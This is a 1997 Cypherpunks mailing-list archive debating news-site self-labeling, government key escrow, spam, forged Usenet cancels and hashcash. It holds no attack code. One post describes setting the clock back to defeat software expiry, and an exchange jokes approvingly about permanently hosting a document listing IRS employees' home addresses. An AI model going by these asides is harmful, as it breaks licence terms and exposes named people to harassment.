Date: Fri, 1 Aug 1997 01:56:30 +0800
Subject: Thomas Leavitt on why online news sites should not self-label
Message-ID: 



************

From: leavitt at webcom.com
Subject: FC: CNET editor endorses self-labeling, "news site" standard (fwd)
To: chris_barr at cnet.com
Date: Fri, 25 Jul 1997 06:53:49 -0700 (PDT)
Cc: declan

Chris,

 What is your response to DeClan's comments?

 My own is that restricting use of the labeling system to
"bona-fide" news sites is a self-serving action, consistent
with a desire to create barriers to entry and establish
restraint of trade, and would likely result in an organization
co-opted by industry leaders, like other "regulatory"
institutions.

 Furthermore, I think generic endorsement of the validity
of rating systems, and of collaboration with government in
encouraging them and other companies in making not having
them result in invisibility (instead of merely presenting
people with the option to choose filtered or unfiltered
content from a search engine, perhaps based on a browser
header or equivalent communication of intent/desire), is
very threatening to the integrity of the 'net and free
speech.

 In fact, the whole mania for ratings, the V-chip, tv
ratings, etc. is extremely alarming to me. Look at how
the Hayes' code crippled Hollywood, and the entire
industry for decades. Ratings and censorship, etc., are
very damaging to creativity and freedom of speech...
media that endorse and accept them inevitably wind up
being corrupted and failing to realize their potential.

 Ratings endorse (and provide a means for) the basic impulse
to impose ones views about the appropriateness of content
on another. Look at the nut cases parading around our
local libraries, protesting that "Dangerous Addictive
Materials" are being made available to children because
the library refuses to install filtering software (every
implementation of which I've heard about is horribly
unselective and politically/culturally suspect).

 They reflect the same impulse that lead an elected
member of Congress to state that "the Constitution is
a barrier to religious freedom" (something which days
later, still shocks me) since it prohibits granting religion
access to state resources, in acknowledgement of the
preferential treatment likely to be given to particular
branches (and the inevitable conflicts that would result).

 Do you really want to get in bed with this kind of mentality?
Is it appropriate for a journalistic institution to be making
these kinds of judgements? I don't see the L.A. Times
providing age and appropriate guidelines at the beginning of
every story.

 The image of a child running down the road, skin burning
with Napalm, is horrifying, and potentially traumatic, to
a child. At the same time, how many careers, how many idealists
and crusaders have developed as the result of seeing the
unvarished truth, at a young age? Do you really want to be
responsible for enabling a parent to deny their child the
potential for this transformative event?

 Isn't there a conflict of interest here? What if you find
that 40% of your content gets blocked by various filters,
and the organization down the street has 5% of their content
blocked, and as a result, is making more money that you are?
Won't this produce a race to the bottom, a tendency towards
"palatable", generically unoffensive content that is not
affected by your self-imposed filters?

 Would a writer or editor whose interests/style/topics of
choice result in 80% of his or her articles falling under
broad layers of your filter have the same success as a
writer/editor who wrote about nothing but happy puppy rescue
stories?

 The more I think about it, the more convinced I become
that journalists and media have no business involving themselves
in any way shape or fashion with rating of content. This is
a formula for pablum... network news is already bad enough.
And your proposal, desire, etc., would impose this requirement
on an entire industry. No "bona-fide" journalist would be
free of this conflict of interest. Every article, report,
photo, would be influnced by the question "how will this
be affected by the filters... will I be able to sell this
if it is... will I reach the audience I wish to reach with
my message/story, if I present it this way".

 Is that what you really want?

Regards,
Thomas Leavitt

[ Jesus, DeClan, this is far worse than I thought it would
be when I started out writing this letter. ]

> Since the Supreme Court said the online world should be
> as free as print, and no self-labeling system exists
> for magazines or newspapers, why should the Net be any
> different? Why isn't the Net community opposing
> "mandatory voluntary" self-labeling systems as
> staunchly as newspapers and magazines would fight a
> similar requirement? It's best to ask these questions
> of Christopher Barr (chris_barr at cnet.com), editor in
> chief of CNET, who endorsed such a proposal in his
> column below.
>
> Barr says that he wants to ensure "that
> only real news organizations claim [the] privilege"
> of rating as news sites with RSACnews. But who decides
> what's a news site? Is CNET? pathfinder.com? epic.org,
> which the government treats as a news site when responding
> to FOIA requests? The Drudge Report? How about the NAMBLA
> News Journal?
>
> My report on the possible perils of such systems is at:
>
>   http://pathfinder.com/netly/opinion/0,1042,1173,00.html
>
> -Declan
>
> ****************
>
> http://www.cnet.com/Content/Voices/Barr/072197/index.html


--
WebCom (sm)                        Thomas Leavitt--leavitt at webcom.com
Voice: (408) 457-9671 x101         Executive Vice President

WebCom Home Page 







From whgiii at amaranth.com  Thu Jul 31 11:02:56 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 1 Aug 1997 02:02:56 +0800
Subject: Denning backs away from GAK
In-Reply-To: 
Message-ID: <199707311754.MAA21360@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 07/31/97 
   at 01:22 PM, Declan McCullagh  said:

>BTW, Will R did a piece a month or so ago on Denning's shifting stance.
>Maybe I should call her up and press her for details.

Well after that piece was done I recall he making statments supporting
some of the more Daconian bills floating around DC.

I serriously doubt that she has changed here stance on any of the current
Inet issuse mearly putting a different spin on them.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM+DDpI9Co1n+aLhhAQFQlgP/Ua5g6hEmeYzuGBxtN4RTy3pmzxwnJxHF
+WhpwehJEqr1hETL99ho4FR3uXibWCWTP+DNZ2p6129YB9fKmY/vt6AwkW6g10eV
Ga80IobScWLXiP6RTLdOxtsh0m6tnZN9KrBIcsNPAAttmuOmQ5NNF8Ney7ONnFbp
N7/oZ3cBt5s=
=JZic
-----END PGP SIGNATURE-----






From whgiii at amaranth.com  Thu Jul 31 11:04:55 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 1 Aug 1997 02:04:55 +0800
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <19970731095523.04336@bywater.songbird.com>
Message-ID: <199707311751.MAA21324@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <19970731095523.04336 at bywater.songbird.com>, on 07/31/97 
   at 09:55 AM, Kent Crispin  said:

>>It should be noted that the Bandwith issue is a red-herring.

>However, I think your argument here is faulty, because bandwidth is in
>fact oversubscribed -- the whole system depends on each end subscriber
>not using all their bandwidth all the time.

>> The bandwith
>>of the USENET has been *PAID IN FULL* by every subscriber to an ISP. The
>>ISP customers pay for their connections to their ISP who in turn pay for
>>their connections to the Access providers who inturn pay for the Backbone.
>>The PIPE has been paid for what goes over it not an issue. If all I want
>>to do with my T1 connection is ship *.jpg files via ftp 24/7 that is no
>>ones busines but my own.

>Not really.  A T1 line, for example, can handle maybe 40-50 28.8 modems 
>going full blast, but a small ISP over a T1 might have 200 customers.  
>This goes right on up the line -- at every level bandwidth is 
>oversubscribed, and successful operation of the net depends on  certain
>statistical usage patterns.  So, while it isn't written down  in a
>contract anywhere, what you are really paying for is peak  bandwidth, not
>sustained bandwidth.

Well the ISP may have 200 customer for the T1 line but they woun't have
200 dial up lines per T1 (at least not one that wishes to stay in business
long). Now how many dial-up lines per T1 a ISP will have will depend on
the traffic analysis for his customer base. There is nothing wrong with
oversubscribing his bandwith because he knows that all his cutomers will
not be on-line all the time using 100% of their 28.8 dial-up bandwith.
What an ISP does have to provide for is enough bandwith to be able to
handle the amount of dial-ups he has available. If an ISP has 200 dial-up
lines then he best provide enough T1's to be able to support them.

The same is true for Access providers. If an access provider is servicing
20 T1's then he best have the bandwith to the backbone to provide the
bandwith that he has sold. He is collecting the $$$ to provide the service
he is obligated to provide it.

Now if an access provider does detailed analysis of his traffic and
determins that he needs only 4 T3's to provide service for 20 T1's and
therefore reduces his costs that's fine. But if one of his T1 customers
traffic increases he is obligated to add more bandwith on his end to
handle it.

This is what the whole bandwith issue comes down to. ISP & Access
providers atempting to maximise profits for given resources. This doesn't
nullify their obligations to their customers. If they sell T1 bandwith
24/7 to their customers then they are required to provide that service if
their customers demand it. The current movement to blaim users for using
the resources that they have been sold is wrong. It is no different that
if a car dealer sells you a 100,000 mile warrenty on a car then renigs on
the contract because he really didn't expect you to drive 100,000 miles
with it.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From tcmay at got.net  Thu Jul 31 11:20:55 1997
From: tcmay at got.net (Tim May)
Date: Fri, 1 Aug 1997 02:20:55 +0800
Subject: Denning backs away from GAK
In-Reply-To: 
Message-ID: 



At 9:54 AM -0700 7/31/97, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In , on 07/31/97
>   at 01:22 PM, Declan McCullagh  said:
>
>>BTW, Will R did a piece a month or so ago on Denning's shifting stance.
>>Maybe I should call her up and press her for details.
>
>Well after that piece was done I recall he making statments supporting
>some of the more Daconian bills floating around DC.
>
>I serriously doubt that she has changed here stance on any of the current
>Inet issuse mearly putting a different spin on them.

And her "second thoughts" on GAK were not based on a principled repudiation
of the concept of "escrowing" keys, or on Constitutional grounds,  but only
on the grounds that her study did not show that many criminal cases were
much affected by the lack of key escrow.

So what if they had?

(Insert usual arguments here about how many consitutionally-protected
rights affect criminal investigations, but that this is no reason to ban
window shades, locks on doors, whispering, etc.)

Denning and her allies can always support GAK in the future, when "new
studies indicate that law enforcement is being severely hampered by the
growing menace of unbreakable cryptography."

I never trust utilitarian arguments on things of this importance.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From kent at songbird.com  Thu Jul 31 11:30:18 1997
From: kent at songbird.com (Kent Crispin)
Date: Fri, 1 Aug 1997 02:30:18 +0800
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <19970731095523.04336@bywater.songbird.com>
Message-ID: <19970731111247.45264@bywater.songbird.com>



On Thu, Jul 31, 1997 at 12:25:59PM -0400, William H. Geiger III wrote:
[...]
>
>Now if an access provider does detailed analysis of his traffic and
>determins that he needs only 4 T3's to provide service for 20 T1's and
>therefore reduces his costs that's fine. But if one of his T1 customers
>traffic increases he is obligated to add more bandwith on his end to
>handle it.

He has several other options.  Most importantly, he can terminate the
agreement.  This gives the customer a choice -- find another provider,
or moderate their use.  As I said, this stuff sometimes isn't written
in the contract, but it's there, nonetheless. 

>This is what the whole bandwith issue comes down to. 

Thinking about this a little more, however, this whole line of
reasoning has almost nothing to do with the bandwidth problem
associated with spam, and is a complete red herring.  Granted that you
have contractually guaranteed that you get full time 24/7 28.8 modem
access, and you have paid for it.  I can still completely flood your 
bandwidth with stuff you don't want.  Granted that at your machine 
you can throw away the stuff as fast as your receive it.  But you 
aren't receiving the stuff you want to receive, because I have 
completely choked your line.  

Spam can be thought of, therefore, as essentially a low-level denial 
of service attack.

What is overlooked in the free speech debate is that speech always 
has a physical manifestation, and that physical manifestation may in 
itself cause harm, regardless of the semantic content of the speech.  
For example, I could rupture your eardrums by putting a megaphone 
next to your head.  And I can cause you economic harm by flooding 
your mailbox with stuff you don't want.  I have a right to speak; you 
have a right to not pay attention.  I don't have the right to force 
you to pay attention.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From whgiii at amaranth.com  Thu Jul 31 11:36:00 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 1 Aug 1997 02:36:00 +0800
Subject: Entrust Technologies's Solo - free download
In-Reply-To: <01BC9D99.CD73D990.chrisd@loc201.tandem.com>
Message-ID: <199707311816.NAA21627@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <01BC9D99.CD73D990.chrisd at loc201.tandem.com>, on 07/31/97 
   at 10:09 AM, Chris DiBona  said:

>This is all nice and good, but the question is who is Chris Lewis, what
>is  his connection to northern telecom, what the hell do you mean by
>forgery,  are you implying the technology that entrust has in it's secure
>kernal is  stolen? Keeping in mind that using public domain algorithms is
>not theft,  and also keeping in mind that they have a patent license from
>public key  partners, which allows them to use the "rsa" patents, and
>keeping in mind  that a fully featured certificate system is much more
>than just a  cryptography product. Is the law being broken here? Is there
>a breach of  ethics at Entrust?

>To restate.....what's wrong with what entrust is doing? Everyone has had 
>such a good time talking about spamming and cancels, but I'm really 
>interested in how Nortel is somehow committing a forgery.

>Also looking around the dejanews stuff about lewis, he seems to be a spam
> cancel freak yes, but no pedophile.

>Dimitri,   you seem to be a pretty smart guy...enlighten me on this whole
> thing. Do you mean that Nortel has a hand in the forging of spam
>cancels?  Or do you mean that they have a hand in forging software?

Well Dimitri has his own unique way of putting things. :)

This is my understanding of the issue that Dimitri has brought up:

- -- Chris Lewis is activly persuing a cource of censorship by forging &
canceling messages on USENET.

- -- Because of this activity Chris Lewis has low reputation capital.

- -- Nortel, by employing Chris Lewis, has reduced their reputation capital.

- -- Because of Nortel's reduced reputation capital their security products
are suspect.

Now, myself would require more information as to Chris Lewis' envolvement
with Nortel & their security products before I would be willing to come to
the same conclution that Dimitri has.

If Chris Lewis is only a janitor for Nortel I can not see how is
reputation capital would affect Nortel's. On the other hand if he was
activly involved with their security products or in a management position
where he could influance desisions about thier security products then I
would be apt to call into question just how secure their products were.

Of cource if they released thier source code then one could check for
themselfs the trustworthyness of their product.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
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-----END PGP SIGNATURE-----






From ericm at lne.com  Thu Jul 31 11:36:09 1997
From: ericm at lne.com (Eric Murray)
Date: Fri, 1 Aug 1997 02:36:09 +0800
Subject: Denning backs away from GAK
In-Reply-To: 
Message-ID: <199707311824.LAA25935@slack.lne.com>



Tim May writes:
> 
> At 9:54 AM -0700 7/31/97, William H. Geiger III wrote:
> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >In , on 07/31/97
> >   at 01:22 PM, Declan McCullagh  said:
> >
> >>BTW, Will R did a piece a month or so ago on Denning's shifting stance.
> >>Maybe I should call her up and press her for details.
> >
> >Well after that piece was done I recall he making statments supporting
> >some of the more Daconian bills floating around DC.
> >
> >I serriously doubt that she has changed here stance on any of the current
> >Inet issuse mearly putting a different spin on them.
> 
> And her "second thoughts" on GAK were not based on a principled repudiation
> of the concept of "escrowing" keys, or on Constitutional grounds,  but only
> on the grounds that her study did not show that many criminal cases were
> much affected by the lack of key escrow.


Her support for GAK was also on 'utilitarian' grounds- she beleived 
law enforcement's claims that crypto prevented them from catching criminals.

This new study sounds like it pokes large holes in Freeh etc's main
justification of GAK.   That's just fine with me.  Ms Denning may change
her mind again later, but this is useful right now.  Especially since
Denning was the only respected cryptographer who sided with GAK.


> I never trust utilitarian arguments on things of this importance.

Others do, especially those "driven to compromise" folk up on the hill
in Washington.

Yea, it'd be great if she suddenly got religion and started upholding
the constitution, but this is still better than I would have hoped for.



-- 
            Eric Murray    ericm at lne.com      ericm at nabletech.com
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF






From ravage at ssz.com  Thu Jul 31 11:50:46 1997
From: ravage at ssz.com (Jim Choate)
Date: Fri, 1 Aug 1997 02:50:46 +0800
Subject: Rep. White introduces Internet Protection Act (fwd)
Message-ID: <199707311839.NAA21275@einstein.ssz.com>



Forwarded message:

> From: "Peter Trei" 
> Date: Thu, 31 Jul 1997 10:12:58 -6
> Subject: Re: Rep. White introduces Internet Protection Act

> Here's a fun little thought experiment:

A flawed one.

> Considering the hairsplitting that takes place everyday
> in courtrooms these days, an arguement could be made that
> since virtually the entire net these days is optical fiber,
> there are no 'electronic' communications taking place.
> 
> Does the FCC charter mention photonic communications as 
> well? At what point does the charter allow them to 
> interfere? Here's some steps on the way...

Photons are the vector boson for em radiation, in a wire or in the air.
In the wire the photons go from electron and protons to other electrons and
protons. This is what makes them want to 'move'. Despite popular vision, they
don't go bumping into each other like a bunch of ping-pong balls in a pipe...

As an aside, this is actualy where the heat comes from not friction. Some of
the photons that are emitted are low frequency and not re-absorbed.

(having taught electronics for several years I  have grown to realy hate the
 hydraulic model)

> Is this an electronic communication?

Yes.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From jai at mantra.com  Thu Jul 31 11:51:38 1997
From: jai at mantra.com (Dr. Jai Maharaj)
Date: Fri, 1 Aug 1997 02:51:38 +0800
Subject: Entrust Technologies's Solo - free download
In-Reply-To: <199707311521.LAA03989@mail.storm.ca>
Message-ID: <3.0.2.32.19970731084010.009d8100@caprica.com>



At 11:21 AM 7/31/97 -0400, Sandy Harris wrote:
> Dr. Jai Maharaj  writes:
>
>|> ...where on this scale do you start to object to my actions:
>|> 1) I use a killfile to ignore certain messages.
>|> 2) I program my personal newsserver to discard certain messages.
>|> 3) A group of us, by consensus, program our common newsserver...
>|
>|Unanimous consent?
>|
>|> 4) A system admin, with due notice to users, programs a 
>|> newserver.....
>|
>|What constitutes "due notice" in the present context?
>
>Postings in news.announce.newusers.

That's ridiculous.  One shopping for an ISP, without
access to the Net, is not in a position to read a
notice in a newsgroup.  It makes sense that censorship
and forgery advocates would also suggest means of hiding
the truth.

Again, if an ISP were to advertise "Newsgroups censored 
through forgery" -- in electronic, print and broadcast
media, or wherever advertisements are placed or material
made available to investors, then that would be "due notice".

Jai Maharaj
jai at mantra.com
Om Shanti







From aba at dcs.ex.ac.uk  Thu Jul 31 12:22:57 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 1 Aug 1997 03:22:57 +0800
Subject: uncensorable net based payment system?
In-Reply-To: <199707311307.IAA17412@mailhub.amaranth.com>
Message-ID: <199707311722.SAA02457@server.test.net>




William Geiger  writes:
> In <199707311240.NAA00742 at server.test.net>, on 07/31/97 
> >  at 01:40 PM, Adam Back XXIVth  said:
> >
> >Then I can have some net cash savings backed by the rights to 1Tb of
> >bandwidth at 100 Mb/sec.  100 Mb/sec for 3 days.
> >
> >A problem with this is that the market prices of the assets is
> >continually dropping.  How do I hedge against this.  Can I buy futures? 
> >Sell 100 Mb/sec for 3 days now in exchange for 200 Mb/sec for 3 days in 1
> >years time at an predicted equivalent value? 
> 
> Well I see some problems with this. Any increase in bandwith requires the
> addition of hardware to accomplish it. It would be of little use to me to
> have 100 Mb/sec for 3days considering the cost of installing the lines and
> purchacing the extra equipment.

I wasn't thinking of using the bandwidth myself, just using it as a
commodity to back an electronic cash system with.  Eg it's like a gold
currency, I can't eat gold or do anything that useful with it myself,
but some people use it (jewelers, circuitry, etc), and those people's
demand give's it value.  There demand + other speculators such as
myself defines the current market price.

So I was thinking that this bandwidth would be readily transferable as
there will always be people on the look out for a good buy for their
bandwidth.  If you're going to auction off unused bandwidth on leased
pipes etc, there will be people dynamically buying bandwidth at the
best price they can get.

> Also in a packet switching environment how do you plan on insuring any
> amount of bandwith? The Backbone is not set-up for this. The only way in
> the current enviorment that you can guarantee a given bandwith is by
> having a dedicated connection point to point.

ATM?  Virtual ATM?  We were talking 10-15 years time frame there.

Guaranteed bandwidth virtual pipes have got to come for metering to
make sense.  Metering is going to come for some aspects of the net
sooner or later.  Even if you buy outright your leased line and all
the bandwidth on it, it will be more efficient if you can sell off
spare bandwidth during your weekends and evenings.  Also you could
underbuy your bandwidth if you knew with an acceptable degree of
certainty that you could buy in the extra bandwidth as needed in an
efficient market.

There will be people happy to buy your off peak bandwidth for batch
data shovelling.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <3.0.2.32.19970731090708.00968100@caprica.com>



At 2:58 PM 7/31/97 -0400, Sandy Harris wrote:
> Dr. Jai Maharaj  wrote:
>
>|At 11:21 AM 7/31/97 -0400, Sandy Harris wrote:
>|> Dr. Jai Maharaj  writes:
>|>|> ...where on this scale do you start to object to my actions:
>|>|>1) I use a killfile to ignore certain messages.
>|>|>2) I program my personal newsserver to discard certain messages.
>|>|>3) A group of us, by consensus, program our common newsserver...
>|>|
>|>|Unanimous consent?
>|>|
>|>|>4) A system admin, with due notice to users, programs a 
>|>|>newserver.....
>|>|
>|>|What constitutes "due notice" in the present context?
>|>
>|>Postings in news.announce.newusers.
>|
>|That's ridiculous.  One shopping for an ISP, without
>|access to the Net, is not in a position to read a
>|notice in a newsgroup. 
>
>No, but any decent ISP (or corporate or institutional system
> administrator) will . . .

The faact that an ISP supports censorship takes away
the "decent" qualification, thus invalidating the
other premise and whatever else was built upon it.

> . . . suggest reading that newsgroup in their
> material for new users and/or set up new accounts so they
> are automatically subscribed to it. & any sensible new user
> will read & heed.

That is unacceptable since the users would have already
paid for the account by that time and signed a contract.

Jai Maharaj
jai at mantra.com
Om Shanti







From aba at dcs.ex.ac.uk  Thu Jul 31 12:27:13 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 1 Aug 1997 03:27:13 +0800
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311344.IAA17797@mailhub.amaranth.com>
Message-ID: <199707311743.SAA02470@server.test.net>




William Geiger MLCVXII  writes:
> In <199707311120.MAA00669 at server.test.net>, on 07/31/97 
> >  at 12:20 PM, Adam Back  said:
> >
> >One way to implement this is for other people to pay the author for their
> >articles a penny if they like the article.  That way people who write
> >things which others find interesting to read get subsidized posting.  Is
> >it still free speech if you have to pay for your posts if you're arguing
> >for an unpopular minority?
> 
> This will not work!!!
> 
> Charging for e-mail/news posts will do nothing to prevent spam and
> more than likely increase the noise on such lists. It is the spamers
> who have the money to post volumns of their crap.

For email spam I disagree.  I currently get 10 spams a day or so.  All
as a result of one unprotected post to a USENET group a few weeks
back.  Before that I hadn't posted to USENET for a while and the spams
had nearly died down.

If the spammer had to pay 1c for each spam, he'd be out of business
with his current scatter gun approach.  He'd have to get a lot more
selective, because it would be in his commercial interests to do so.

> Also I think you will find that it will be the fanatics who
> will think it worth the $$$ to get their message out.

Fine by me, so long as they're paying their way, the NoCems from a
reliable rating service will take care of them.

You have more of a point in newsgroups, or mailing lists as the
spammer only has to make one post.

Charging for posts in that scenario only makes sense to stop people
who spew multiple mega-bytes of robo-spam just to be annoying, and for
no commercial gain at all.

NoCems are the real answer to public forums.  Spammers will feel less
incentive to spam when it becomes clear most people have them filtered
out anyway.

> While I find the various mailling lists & newsgroups of intrest the
> majority of them are not thet intresting that I would be willing to pay
> $$$ every time I post a reply to someones questions (most of my posts
> outside of CP are answering questions on programming,crypto, & OS/2). I
> think that the overall quality of the newsgroups would decline if you
> started paying on a per-post basis.

Surely you aren't that prolific a writer that 1c a post would
be a burden on you?

I make what 20 posts a day at peak?  Often 1 or none some days.

> It should be noted that the Bandwith issue is a red-herring. It is an
> antiquated concept from the Fidonet days and does not apply. The bandwith
> of the USENET has been *PAID IN FULL* by every subscriber to an ISP. The
> ISP customers pay for their connections to their ISP who in turn pay for
> their connections to the Access providers who inturn pay for the Backbone.
> The PIPE has been paid for what goes over it not an issue. If all I want
> to do with my T1 connection is ship *.jpg files via ftp 24/7 that is no
> ones busines but my own. If I chooses to use my bandwith to transmit a
> variety of file formats using various protocols
> (HTTP,FTP,GOFFER,ARCHIE,...ect) who are you to say that some formats are
> good and some are not!! (this is not even getting into the content of the
> data being shiped).

That's interesting, and probably true, but still bandwidth is limited,
see.  It is entirely possible for some idiots to consume vastly more
than their share of the shared pipe.

Probably what you're saying is that you like a lot of other "power
users" myself included use more bandwidth than the average neophyte.
So you're in favor of flat charges because it represents a good deal
for you.

Get me on a T1 and I use it, man.  Hmm, I'll just upgrade to gcc 2.7.x
(10 megs later) and then I'll upgrade the OS (another 50 megs later),
and so the day gos on.  Bandwidth hog.

Sitting on the end of this pay per second 28.8k PPP line really cramps
my style :-) I've started buying linux CD sets, and upgrading OS less
frequently.  I'm still on X32a (for linux people) even though it's
expired and tried to disable it's self, I've hacked around the
disablement (set the clock back 2 months for a couple of seconds while
it's starting, and then forward again part way through seems to fix
it) because I don't fancy the cost of 10 megs at 28.8k, nor the
hassle.

Now I would be pretty happy to spend $500 - $1500 a year for a 64k
leased line, or at least for a flat rate phone bill.  But nooo you
can't get that in the UK.  You're looking at more like $10k once
you've factored in leased line + bandwidth leasing.

To compensate I bought a load of BT (phone co) shares, so that at
least in theory I get some of the money they are making.  But the
OFTEL setup (government regulatory body) is killing them with
regulations, which is reducing their profitability.  I'm hanging on to
the shares, as it's supposed to end soonish.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: 



On Thu, 31 Jul 1997, Eric Murray wrote:

> Her support for GAK was also on 'utilitarian' grounds- she beleived 
> law enforcement's claims that crypto prevented them from catching criminals.
> 
> This new study sounds like it pokes large holes in Freeh etc's main
> justification of GAK.   That's just fine with me.  Ms Denning may change
> her mind again later, but this is useful right now.  Especially since
> Denning was the only respected cryptographer who sided with GAK.

It serves only to prove two points:

	a. She's a government mouthpiece interested only in what will
	   serve big brother.  She will support whatever they are willing
 	   to.  Her backing off only shows their admittance that GAK
	   isn't going to bring any ROI.

	b. GAK is stupid and they're admiting it. (Placing back doors
	   is doubly stupid because someone other than the TLA's might
	   find their way and break open the whole thing if it's done
	   as a back door, or someone will be bribed to release the
	   escrowed keys.)

I offer the above as points because of all the recent exports of 128 bit
cyphers being allowed.  (It is possible they've other limitations they're
not allowed to tell us about such as the same string being encrypted in
all communications, or limits on PRNG's, but we don't know yet.)

The side note that Freeh supports GAK, but she doesn't only shows that
they speak for different agencies.  We know which one Freeh speaks for, we
believe we know who she speaks for.

If the whole point of GAK is to catch stupid criminals anyway, it will
lose.  The only criminals that aren't going to be caught are the smart
ones.   We've argued this with her for years, but she's stuck to her party
line, and all of a sudden she changes the party line.  People don't change
their minds without reason, and an NSA mouth piece isn't likely to defect
and live to talk about it or reverse their position publically.

This might add some weight to the recent "leak" about the NSA being able
to break 128 bit cyphers in 30 minutes, then again who really knows? Could
be conspiracy theories, or FUD.  IMHO this is bullshit unless they've a
working quantum computer... (Still, maybe it's time to push the envelope
again just to be sure.  Anyone have a 256 bit version of IDEA? or shall we
go the 3DES way and produce 3IDEA? :)

> Yea, it'd be great if she suddenly got religion and started upholding
> the constitution, but this is still better than I would have hoped for.

Ha!  As likely as Dr. Vulis having tea and crumpets with Tim in a London
tea house and talking about how lovely the weather is. :)

I saw her speak a while back on these issues here in NYC... I've got a
tape of it, but haven't had a chance to transcribe it yet.  Believe me,
she doesn't have "religion," she doesn't give a rats ass about the
Constitution.  IMHO, she's wearing sheep's clothing and bleeting, but them
fangs are still there, and sharp as ever.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder at sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================






From shamrock at netcom.com  Thu Jul 31 12:46:39 1997
From: shamrock at netcom.com (Lucky Green)
Date: Fri, 1 Aug 1997 03:46:39 +0800
Subject: I did get the infamous IRS letter after all
In-Reply-To: 
Message-ID: <3.0.2.32.19970731212403.006e6258@netcom10.netcom.com>



At 10:34 AM 7/31/97 -0700, Mike Duvos wrote:
>
>> In previous court hearings, IRS
>> Inspectors testified that BELL had obtained the names and home addresses of
>> 70 IRS employees as part of  "Operation LocatIRS." 
>
>Hmmm.  Would http://irs.agents.eternity/ be an appropriate permanent
>respository for this valuable document?  :)

Undoubtedly.  :-)


--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From dave at kachina.jetcafe.org  Thu Jul 31 12:52:11 1997
From: dave at kachina.jetcafe.org (Dave Hayes)
Date: Fri, 1 Aug 1997 03:52:11 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
Message-ID: <199707311939.MAA24817@kachina.jetcafe.org>



Adam Beck put this nicely:
> Some people have been arguing that cancelling other peoples posts
> based on their own subjective views is a good thing.
> 
> It would seem that they are arguing that it is a good thing because it
> saves bandwidth, and because it gives them satisfaction to silence
> unpopular minorities.
> 
> Foo on that.
> 
> It's censorship.  If you didn't write it, you have no business
> cancelling it.

Thank you for wording this yet another way. 

> A temporary fix for emails, or another approach, is to use hashcash.
> Hashcash is a token of CPU time.  It proves that the sender has
> consumed a given number of seconds/minutes/hours CPU time.  The
> receiver sets their software to reject mail (bounce with explanation,
> or put into potential spam folder) to squelch out spam.
